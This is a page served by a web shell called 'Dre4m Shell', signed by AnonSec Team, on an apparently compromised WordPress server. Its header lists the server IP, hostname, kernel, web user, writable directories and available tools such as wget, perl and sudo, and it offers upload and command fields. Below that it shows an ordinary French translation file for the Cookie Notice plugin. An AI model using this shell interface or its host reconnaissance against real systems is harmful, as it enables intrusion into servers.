Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.22.71.109
Web Server : Apache/2.4.61 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/languages/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/languages/plugins/cookie-notice-fr_FR.po
# Translation of Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release) in French (France)
# This file is distributed under the same license as the Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2022-02-27 16:15:13+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/3.0.0-alpha.2\n"
"Language: fr\n"
"Project-Id-Version: Plugins - Cookie Notice & Compliance for GDPR / CCPA - Stable (latest release)\n"

#: includes/settings.php:242
msgid "Is Cookie Compliance free?"
msgstr "Cookie Compliance est-il gratuit ?"

#: includes/settings.php:228
msgid "F.A.Q."
msgstr "F.A.Q."

#: includes/dashboard.php:402
msgid "Days to go: %s"
msgstr "Jours restants : %s"

#: includes/dashboard.php:374
msgid "Last 30 days"
msgstr "30 derniers jours"

#: includes/dashboard.php:276
msgid "View consent activity inside WordPress Dashboard"
msgstr "Voir l’activité de consentement dans le tableau de bord WordPress"

#: includes/dashboard.php:250
msgid "Traffic Overview"
msgstr "Aperçu du trafic"

#: includes/dashboard.php:40
msgid "Cookie Compliance"
msgstr "Cookie Compliance"

#: includes/welcome.php:445 includes/welcome.php:473
msgid "available for Cookie Compliance™ Pro plans only"
msgstr "disponible uniquement pour les offres Pro Cookie Compliance™"

#: includes/welcome.php:439
msgid "Select additional information to include in the banner:"
msgstr "Sélectionnez les informations supplémentaires à inclure dans la bannière :"

#: includes/welcome.php:435
msgid "Reject All, Accept Some, Accept All​"
msgstr "Tout rejeter, en accepter certains, tout accepter"

#: includes/welcome.php:433
msgid "Silver, Gold, Platinum (Default)​"
msgstr "Silver, Gold, Platinum (par défaut)​"

#: includes/settings.php:437
msgid "Enable to hide the consent banner for logged in users."
msgstr "Activer pour masquer la bannière de consentement pour les comptes connectés."

#: includes/settings.php:144
msgid "months"
msgstr "mois"

#: includes/settings.php:128
msgid "Save my preferences"
msgstr "Enregistrer mes préférences"

#: includes/settings.php:123
msgid "Accept All"
msgstr "Tout accepter"

#: includes/settings.php:121
msgid "Reject All"
msgstr "Tout rejeter"

#: includes/settings.php:118
msgid "Personalized"
msgstr "Personnalisé"

#: includes/settings.php:117
msgid "Balanced"
msgstr "Équilibré"

#: includes/settings.php:116
msgid "Private"
msgstr "Privé"

#: includes/settings.php:113
msgid "Platinum"
msgstr "Platinum"

#: includes/settings.php:112
msgid "Gold"
msgstr "Gold"

#: includes/settings.php:111
msgid "Silver"
msgstr "Silver"

#: includes/settings.php:80
msgid "Button color"
msgstr "Couleur du bouton"

#: cookie-notice.php:614
msgid "Deactivate & Submit"
msgstr "Désactiver et envoyer"

#: cookie-notice.php:613
msgid "Deactivate"
msgstr "Désactiver"

#: cookie-notice.php:612
msgid "Cancel"
msgstr "Annuler"

#: cookie-notice.php:598
msgid "Other"
msgstr "Autre"

#: cookie-notice.php:597
msgid "Support isn't timely."
msgstr "Le support n’est pas ponctuel."

#: cookie-notice.php:596
msgid "The web application user interface is not clear to me."
msgstr "L’interface utilisateur de l’application web n’est pas claire pour moi."

#: cookie-notice.php:595
msgid "The Cookie Compliance default settings are too strict."
msgstr "Les réglages par défaut de Cookie Compliance sont trop stricts."

#: cookie-notice.php:594
msgid "The Cookie Compliance consent choices (Silver, Gold, Platinum) are confusing."
msgstr "Les choix de consentement de Cookie Compliance (Silver, Gold, Platinum) prêtent à confusion."

#: cookie-notice.php:593
msgid "The Cookie Compliance banner is too big."
msgstr "La bannière de Cookie Compliance est trop grande."

#: cookie-notice.php:592
msgid "I found another plugin to use for the same task."
msgstr "J’ai trouvé une autre extension à utiliser pour la même tâche."

#: cookie-notice.php:587
msgid "We're sorry to see you go. Could you please tell us what happened?"
msgstr "Nous sommes désolés de vous voir partir. Pourriez-vous nous dire ce qui s’est passé ?"

#: cookie-notice.php:257
msgid "Dismiss Notice"
msgstr "Ignorer la notification"

#: includes/welcome.php:269
msgid "<b>1,000</b> visits / month"
msgstr "<b>1,000</b> visites/mois"

#: includes/welcome.php:579 includes/welcome.php:681
msgid "Submit"
msgstr "Soumettre"

#: includes/welcome.php:554 includes/welcome.php:656
msgid "Confirm"
msgstr "Confirmer"

#: includes/welcome.php:550 includes/welcome.php:652
msgid "<b>Professional</b> Yearly"
msgstr "<b>Professionnel</b> annuel"

#: includes/welcome.php:549 includes/welcome.php:651
msgid "<b>Professional</b> Monthly"
msgstr "<b>Professionnel</b> mensuel"

#: includes/welcome.php:498
msgid "Create a Cookie Compliance&trade; account and select your preferred plan."
msgstr "Créez un compte Cookie Compliance&trade; et sélectionnez votre offre préférée."

#: includes/welcome.php:379
msgid "Notifies visitors that site uses cookies."
msgstr "Avertit les visiteurs que le site utilise des cookies."

#: includes/welcome.php:376
msgid "Checking..."
msgstr "Vérification…"

#: includes/welcome.php:338
msgid "Congratulations"
msgstr "Félicitations"

#: includes/welcome.php:322
msgid "I don’t want to create an account now"
msgstr "Je ne veux pas créer de compte maintenant"

#: includes/welcome.php:313
msgid "<b>Premium</b> Support"
msgstr "Support <b>Premium</b>"

#: includes/welcome.php:305
msgid "Best Value"
msgstr "Meilleur prix"

#: includes/welcome.php:304
msgid "year"
msgstr "an"

#: includes/welcome.php:291 includes/welcome.php:312
msgid "<b>Unlimited</b> languages"
msgstr "Langues <b>illimitées</b>"

#: includes/welcome.php:289 includes/welcome.php:310
msgid "<b>Unlimited</b> visits"
msgstr "Visites <b>illimitées</b>"

#: includes/settings.php:143 includes/welcome.php:284
msgid "month"
msgstr "mois"

#: includes/welcome.php:275 includes/welcome.php:295 includes/welcome.php:316
#: includes/welcome.php:542 includes/welcome.php:644
msgid "Select Plan"
msgstr "Sélectionner un plan"

#: includes/welcome.php:272
msgid "<b>Basic</b> Support"
msgstr "Support <b>de base</b>"

#: includes/welcome.php:271
msgid "<b>1 additional</b> language"
msgstr "<b>1 langue supplémentaire</b>"

#: includes/welcome.php:264
msgid "Free"
msgstr "Gratuit"

#: includes/welcome.php:263 includes/welcome.php:548 includes/welcome.php:650
msgid "Basic"
msgstr "De base"

#: includes/welcome.php:51
msgid "Failed"
msgstr "Échec"

#: includes/welcome.php:50
msgid "Passed"
msgstr "Succès"

#: includes/settings.php:360
msgid "Log in & configure"
msgstr "Se connectez & configurer"

#: cookie-notice.php:564 includes/settings.php:217
msgid "Free Upgrade"
msgstr "Mise à niveau gratuite"

#: includes/settings.php:134
msgid "Preferences"
msgstr "Préférences"

#: includes/settings.php:133
msgid "Do Not Sell"
msgstr "Ne pas vendre"

#: includes/settings.php:941
msgid "Settings saved."
msgstr "Réglages enregistrés."

#: includes/settings.php:414
msgid "In case you're experiencing issues with your site disable that feature temporarily."
msgstr "Si vous rencontrez des problèmes sur votre site, désactiver temporairement cette fonctionnalité."

#: includes/settings.php:413
msgid "Enable to automatically block 3rd party scripts before user consent."
msgstr "Activer pour bloquer automatiquement les scripts tiers avant le consentement de l’utilisateur."

#: includes/settings.php:342 includes/settings.php:357
#: includes/settings.php:372 includes/welcome.php:382
msgid "Proof-of-Consent"
msgstr "Preuve de consentement"

#: includes/settings.php:341 includes/settings.php:356
#: includes/settings.php:371 includes/welcome.php:381
msgid "Cookie Categories"
msgstr "Catégories de cookie"

#: includes/settings.php:339 includes/settings.php:354
#: includes/settings.php:369
msgid "Notice"
msgstr "Notification"

#: includes/settings.php:313
msgid "Notice Design"
msgstr "Design de la notification"

#: includes/settings.php:297
msgid "Notice Settings"
msgstr "Réglages des notifications"

#: includes/settings.php:284 includes/settings.php:340
#: includes/settings.php:355 includes/settings.php:370 includes/welcome.php:380
msgid "Autoblocking"
msgstr "Blocage automatique"

#: includes/settings.php:278 includes/settings.php:292
msgid "Compliance Settings"
msgstr "Réglages du consentement"

#: includes/settings.php:188
msgid "Cookies"
msgstr "Cookies"

#: includes/welcome.php:637
msgid "Sign up"
msgstr "Créer un compte"

#: includes/welcome.php:637
msgid "Don't have an account yet?"
msgstr "Vous n’avez pas encore de compte ?"

#: includes/welcome.php:612
msgid "Account Login"
msgstr "Connexion au compte"

#: includes/welcome.php:535
msgid "Already have an account?"
msgstr "Vous avez déjà un compte ?"

#: includes/welcome.php:517
msgid "I have read and agree to the <a href=\"%s\" target=\"_blank\">Terms of Service"
msgstr "J’ai lu et j’accepte les <a href=\"%s\" target=\"_blank\">Conditions d’utilisation"

#: includes/welcome.php:502
msgid "Create Account"
msgstr "Créer un compte"

#: includes/settings.php:427
msgid "Click the Purge Cache button to refresh the app configuration."
msgstr "Cliquer sur le bouton Supprimer Cache pour actualiser la configuration de l’extension."

#: includes/settings.php:425
msgid "Purge Cache"
msgstr "Vider le cache"

#: includes/settings.php:403
msgid "Enter your Cookie Compliance&trade; application secret key."
msgstr "Saisir la clé secrète de votre application Cookie Compliance&trade;"

#: includes/settings.php:391
msgid "Enter your Cookie Compliance&trade; application ID."
msgstr "Saisir l’ID de votre application Cookie Compliance&trade;"

#: includes/settings.php:370 includes/settings.php:371
#: includes/settings.php:372
msgid "Inactive"
msgstr "Inactif"

#: includes/settings.php:361
msgid "Log into the Cookie Compliance&trade; web application and complete the setup process."
msgstr "Connectez-vous sur le site web Cookie Compliance&trade; et complétez la configuration."

#: includes/settings.php:355 includes/settings.php:356
#: includes/settings.php:357
msgid "Pending"
msgstr "En attente"

#: includes/settings.php:346
msgid "Log into the Cookie Compliance&trade; web application and configure your Privacy Experience."
msgstr "Connectez-vous sur le site web Cookie Compliance&trade; et configurez les informations liées à votre confidentialité."

#: includes/settings.php:345
msgid "Log in & Configure"
msgstr "Connectez-vous & configurer"

#: includes/settings.php:339 includes/settings.php:340
#: includes/settings.php:341 includes/settings.php:342
#: includes/settings.php:354 includes/settings.php:369
msgid "Active"
msgstr "Actif"

#: includes/settings.php:286
msgid "Cache"
msgstr "Cache"

#: includes/settings.php:283
msgid "Miscellaneous Settings"
msgstr "Réglages divers"

#: includes/settings.php:281 includes/settings.php:295
msgid "App Key"
msgstr "Clé de l’application"

#: includes/settings.php:280 includes/settings.php:294
msgid "App ID"
msgstr "ID de l’application"

#: includes/settings.php:279 includes/settings.php:293
msgid "Compliance status"
msgstr "État de la mise en conformité"

#: includes/welcome.php:184
msgid "Skip for now"
msgstr "Ignorer pour le moment"

#: includes/welcome.php:706
msgid "Success!"
msgstr "Terminé !"

#: includes/welcome.php:535 includes/welcome.php:623
msgid "Sign in"
msgstr "Se connecter"

#: includes/welcome.php:575 includes/welcome.php:677
msgid "CVC/CVV"
msgstr "CVC/CVV"

#: includes/welcome.php:571 includes/welcome.php:673
msgid "Expiration Date"
msgstr "Date d’expiration"

#: includes/welcome.php:567 includes/welcome.php:669
msgid "Card Number"
msgstr "Numéro de carte"

#: includes/welcome.php:561 includes/welcome.php:663
msgid "PayPal"
msgstr "PayPal"

#: includes/welcome.php:560 includes/welcome.php:662
msgid "Credit Card"
msgstr "Carte de crédit"

#: includes/welcome.php:558 includes/welcome.php:660
msgid "Payment Method"
msgstr "Moyen de paiement"

#: includes/welcome.php:550 includes/welcome.php:652
msgid "/yr"
msgstr "/an"

#: includes/welcome.php:549 includes/welcome.php:651
msgid "/mo"
msgstr "/mois"

#: includes/welcome.php:521
msgid "Sign Up"
msgstr "S’inscrire"

#: includes/welcome.php:513
msgid "Confirm Password"
msgstr "Confirmer le mot de passe"

#: includes/welcome.php:510 includes/welcome.php:620
msgid "Password"
msgstr "Mot de passe"

#: includes/welcome.php:507 includes/welcome.php:617
msgid "Email address"
msgstr "Adresse e-mail"

#: includes/welcome.php:470
msgid "Color of the button text."
msgstr "Couleur du texte du bouton."

#: includes/welcome.php:469
msgid "Color of the heading text."
msgstr "Couleur du texte du titre."

#: includes/welcome.php:466
msgid "Color of the banner background."
msgstr "Couleur de l’arrière-plan de la bannière."

#: includes/welcome.php:465
msgid "Color of the buttons and interactive elements."
msgstr "Couleur des boutons et des éléments interactifs."

#: includes/welcome.php:459
msgid "Center"
msgstr "Centré"

#: includes/welcome.php:458
msgid "Right"
msgstr "Droite "

#: includes/welcome.php:457
msgid "Left"
msgstr "A gauche"

#: includes/welcome.php:449
msgid "Banner Design"
msgstr "Design de la bannière"

#: includes/welcome.php:427
msgid "CCPA"
msgstr "CCPA"

#: includes/welcome.php:426
msgid "GDPR"
msgstr "RGPD"

#: includes/welcome.php:373
msgid "Site Name"
msgstr "Nom du site"

#: includes/welcome.php:372
msgid "Site URL"
msgstr "URL du site"

#: includes/welcome-api.php:162 includes/welcome-api.php:351
msgid "Password is not allowed to be empty."
msgstr "Mot de passe vide non autorisé."

#: includes/welcome-api.php:157 includes/welcome-api.php:346
msgid "Email is not allowed to be empty."
msgstr "E-mail vide non autorisé."

#: includes/welcome-api.php:37 includes/welcome-api.php:40
#: includes/welcome-api.php:43 includes/welcome-api.php:46
#: includes/welcome.php:139 includes/welcome.php:149 includes/welcome.php:152
msgid "You do not have permission to access this page."
msgstr "Vous n’avez pas la permission d’accéder à cette page."

#. Author of the plugin
msgid "Hu-manity.co"
msgstr "Hu-manity.co"

#. Plugin URI of the plugin
#. Author URI of the plugin
msgid "https://hu-manity.co/"
msgstr "https://hu-manity.co/"

#. Plugin Name of the plugin
msgid "Cookie Notice & Compliance for GDPR / CCPA"
msgstr "Cookie Notice & Compliance for GDPR / CCPA"

#: includes/settings.php:799
msgid "Bar opacity"
msgstr "Opacité de la barre"

#: includes/settings.php:669
msgid "The amount of time that the cookie should be stored for when the user doesn't accept the notice."
msgstr "La durée de conservation du cookie lorsque l’utilisateur ou l’utilisatrice n’accepte pas la notification."

#: includes/settings.php:646
msgid "The amount of time that the cookie should be stored for when user accepts the notice."
msgstr "La durée de conservation du cookie lorsque l’utilisateur ou l’utilisatrice accepte la notification."

#: includes/settings.php:308
msgid "Rejected expiry"
msgstr "Expiration refusée"

#: includes/settings.php:307
msgid "Accepted expiry"
msgstr "Expiration acceptée"

#: includes/settings.php:753
msgid "Enable to accept the notice on any click on the page."
msgstr "Permettre d’accepter la notification au clic sur la page."

#: includes/settings.php:742
msgid "Number of pixels user has to scroll to accept the notice and make it disappear."
msgstr "Nombre de pixels que l’utilisateur ou l’utilisatrice doit faire défiler pour accepter la notification et la faire disparaître."

#: includes/settings.php:739
msgid "Enable to accept the notice when user scrolls."
msgstr "Activer l’acceptation de la notification lorsque l’utilisateur fait défiler."

#: includes/settings.php:728
msgid "Select the animation style."
msgstr "Sélectionnez le style d’animation."

#: includes/settings.php:707
msgid "Select location for the notice."
msgstr "Sélectionnez l’emplacement de la notification."

#: includes/settings.php:576
msgid "Select where to redirect user for more information."
msgstr "Sélectionnez où rediriger l’utilisateur ou l’utilisatrice pour plus d’informations."

#: includes/settings.php:517
msgid "Enter the revoke message."
msgstr "Saisissez le message de révocation."

#: includes/settings.php:473
msgid "The text of the button to refuse the consent."
msgstr "Le texte du bouton pour refuser le consentement."

#: includes/settings.php:459
msgid "The text of the option to accept the notice and make it disappear."
msgstr "Le texte de l’option permettant d’accepter la notification et de la faire disparaître."

#: includes/settings.php:306
msgid "On click"
msgstr "Au clic"

#: includes/settings.php:301
msgid "Refuse consent"
msgstr "Refuser le consentement"

#: includes/settings.php:152 includes/settings.php:302
msgid "Revoke consent"
msgstr "Révoquer le consentement"

#: includes/settings.php:151
msgid "You can revoke your consent any time using the Revoke consent button."
msgstr "Vous pouvez révoquer votre consentement à tout moment en utilisant le bouton « Révoquer le consentement »."

#: includes/settings.php:55
msgid "Dark"
msgstr "Sombre"

#: includes/settings.php:54
msgid "Light"
msgstr "Clair"

#: includes/settings.php:623
msgid "Select the privacy policy link position."
msgstr "Sélectionnez la position du lien de politique de vie privée."

#: includes/settings.php:74
msgid "Banner"
msgstr "Bannière"

#: includes/settings.php:564
msgid "The text of the privacy policy button."
msgstr "Le texte du bouton de politique de confidentialité."

#: includes/settings.php:775
msgid "Enter additional button CSS classes separated by spaces."
msgstr "Saisissez les classes CSS additionnelles du bouton, séparées par des espaces."

#: includes/settings.php:613
msgid "Select the privacy policy link target."
msgstr "Sélectionnez la cible du lien de la politique de confidentialité."

#: includes/settings.php:596
msgid "Synchronize with WordPress Privacy Policy page."
msgstr "Synchroniser avec la page WordPress de politique de confidentialité."

#: includes/settings.php:561
msgid "Enable privacy policy link."
msgstr "Activer le lien de politique de confidentialité."

#: includes/settings.php:527
msgid "Select the method for displaying the revoke button - automatic (in the banner) or manual using <code>[cookies_revoke]</code> shortcode."
msgstr "Sélectionnez la méthode d’affichage du bouton de révocation - automatique (dans la bannière) ou manuellement en utilisant le code court <code>[cookies_revoke]</code>."

#: includes/settings.php:519
msgid "The text of the button to revoke the consent."
msgstr "Le texte du bouton pour révoquer le consentement."

#: includes/settings.php:514
msgid "Enable to give to the user the possibility to revoke their consent <i>(requires \"Refuse consent\" option enabled)</i>."
msgstr "Activer pour donner à l’utilisateur la possibilité de révoquer son consentement <i>(nécessite que l’option « Refuser les cookies » soit activée)</i>."

#: includes/settings.php:499
msgid "The code to be used in your site footer, before the closing body tag."
msgstr "Le code à utiliser dans le pied de page de votre site, avant la balise de fermeture body."

#: includes/settings.php:495
msgid "The code to be used in your site header, before the closing head tag."
msgstr "Le code à utiliser dans l’en-tête de votre site, avant la balise de fermeture head."

#: includes/settings.php:492
msgid "Body"
msgstr "Body"

#: includes/settings.php:491
msgid "Head"
msgstr "Head"

#: includes/settings.php:317
msgid "Button class"
msgstr "Classe du bouton"

#: includes/settings.php:132 includes/settings.php:153
#: includes/settings.php:300
msgid "Privacy policy"
msgstr "Politique de confidentialité"

#: includes/settings.php:87
msgid "An hour"
msgstr "Une heure"

#: includes/settings.php:60
msgid "Manual"
msgstr "Manuel"

#: includes/settings.php:59
msgid "Automatic"
msgstr "Automatique"

#: includes/settings.php:538
msgid "Enable to reload the page after the notice is accepted."
msgstr "Permettre de recharger la page après l’acceptation de la notification."

#: includes/settings.php:304
msgid "Reloading"
msgstr "Rechargement"

#: includes/settings.php:503
msgid "To get the user consent status use the <code>cn_cookies_accepted()</code> function."
msgstr "Pour obtenir l’état de consentement de l’utilisateur, utilisez la fonction <code>cn_cookies_accepted()</code>."

#: includes/settings.php:303
msgid "Script blocking"
msgstr "Blocage des scripts"

#: includes/settings.php:973
msgid "Are you sure you want to reset these settings to defaults?"
msgstr "Confirmez-vous vouloir réinitialiser tous les réglages aux valeurs par défaut ?"

#: cookie-notice.php:560
msgid "Settings"
msgstr "Réglages"

#: includes/settings.php:948
msgid "Settings restored to defaults."
msgstr "Les réglages par défaut ont été restaurés."

#: includes/settings.php:687
msgid "Select where all the plugin scripts should be placed."
msgstr "Sélectionner où placer les scripts de l’extension."

#: includes/settings.php:603
msgid "Enter the full URL starting with http(s)://"
msgstr "Saisissez l’URL complète commençant par http(s)://"

#: includes/settings.php:590
msgid "Select from one of your site's pages."
msgstr "Sélectionnez une des pages de votre site."

#: includes/settings.php:579
msgid "-- select page --"
msgstr "-- sélectionner page --"

#: includes/settings.php:503
msgid "Enter non functional cookies Javascript code here (for e.g. Google Analitycs) to be used after the notice is accepted."
msgstr "Saisissez ici le code Javascript des cookies non fonctionnels (par ex. Google Analitycs) à utiliser après acceptation de la notification."

#: includes/settings.php:469
msgid "Enable to give to the user the possibility to refuse third party non functional cookies."
msgstr "Activez pour donner la possibilité à l’utilisateur de refuser les cookies non fonctionnels de tierces parties."

#: includes/settings.php:448
msgid "Enter the cookie notice message."
msgstr "Saisissez le message de notification des cookies."

#: includes/settings.php:763
msgid "Enable if you want all plugin data to be deleted on deactivation."
msgstr "Cochez si vous voulez que toutes les données de l’extension soient supprimées à sa désactivation."

#: includes/settings.php:316
msgid "Colors"
msgstr "Couleurs"

#: includes/settings.php:315
msgid "Animation"
msgstr "Animation"

#: includes/settings.php:314
msgid "Position"
msgstr "Position"

#: includes/settings.php:288 includes/settings.php:310
msgid "Deactivation"
msgstr "Désactivation"

#: includes/settings.php:287 includes/settings.php:309
msgid "Script placement"
msgstr "Emplacement des scripts"

#: includes/settings.php:305
msgid "On scroll"
msgstr "Au défilement"

#: includes/settings.php:299
msgid "Button text"
msgstr "Texte du bouton"

#: includes/settings.php:75 includes/settings.php:298
msgid "Message"
msgstr "Message"

#: includes/settings.php:260
msgid "Reset to defaults"
msgstr "Réinitialiser les réglages"

#: includes/settings.php:188 includes/welcome.php:379
msgid "Cookie Notice"
msgstr "Cookie Notice"

#: includes/settings.php:150
msgid "No"
msgstr "Non"

#: includes/settings.php:149
msgid "Ok"
msgstr "OK"

#: includes/settings.php:148
msgid "We use cookies to ensure that we give you the best experience on our website. If you continue to use this site we will assume that you are happy with it."
msgstr "Nous utilisons des cookies pour vous garantir la meilleure expérience sur notre site web. Si vous continuez à utiliser ce site, nous supposerons que vous en êtes satisfait."

#: includes/settings.php:106
msgid "Footer"
msgstr "Pied de page"

#: includes/settings.php:105
msgid "Header"
msgstr "En-tête"

#: includes/settings.php:101
msgid "Slide"
msgstr "Glissement"

#: includes/settings.php:100
msgid "Fade"
msgstr "Fondu"

#: includes/settings.php:94
msgid "infinity"
msgstr "illimitée"

#: includes/settings.php:93
msgid "1 year"
msgstr "1 année"

#: includes/settings.php:92
msgid "6 months"
msgstr "6 mois"

#: includes/settings.php:91
msgid "3 months"
msgstr "3 mois"

#: includes/settings.php:90
msgid "1 month"
msgstr "1 mois"

#: includes/settings.php:89
msgid "1 week"
msgstr "1 semaine"

#: includes/settings.php:88
msgid "1 day"
msgstr "1 jour"

#: includes/settings.php:81
msgid "Bar color"
msgstr "Couleur de la barre"

#: includes/settings.php:79
msgid "Text color"
msgstr "Couleur du texte"

#: includes/settings.php:64
msgid "Page link"
msgstr "Lien de page"

#: includes/settings.php:65
msgid "Custom link"
msgstr "Lien personnalisé"

#: includes/settings.php:53 includes/settings.php:99
msgid "None"
msgstr "Aucun"

#: includes/settings.php:49 includes/welcome.php:455
msgid "Bottom"
msgstr "Bas"

#: includes/settings.php:48 includes/welcome.php:456
msgid "Top"
msgstr "Haut"

Anon7 - 2022
AnonSec Team